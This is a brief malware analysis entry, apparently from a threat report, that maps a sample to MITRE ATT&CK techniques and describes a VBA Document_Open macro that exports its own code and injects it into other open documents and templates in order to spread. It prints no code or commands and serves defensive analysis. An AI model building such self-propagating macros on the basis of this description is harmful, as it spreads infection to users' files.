MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro, which is a common technique for malicious documents. The macro attempts to export its code to a temporary file and then inject it into other open documents or templates. This behavior suggests a self-propagating mechanism, likely intended to infect other files on the system.
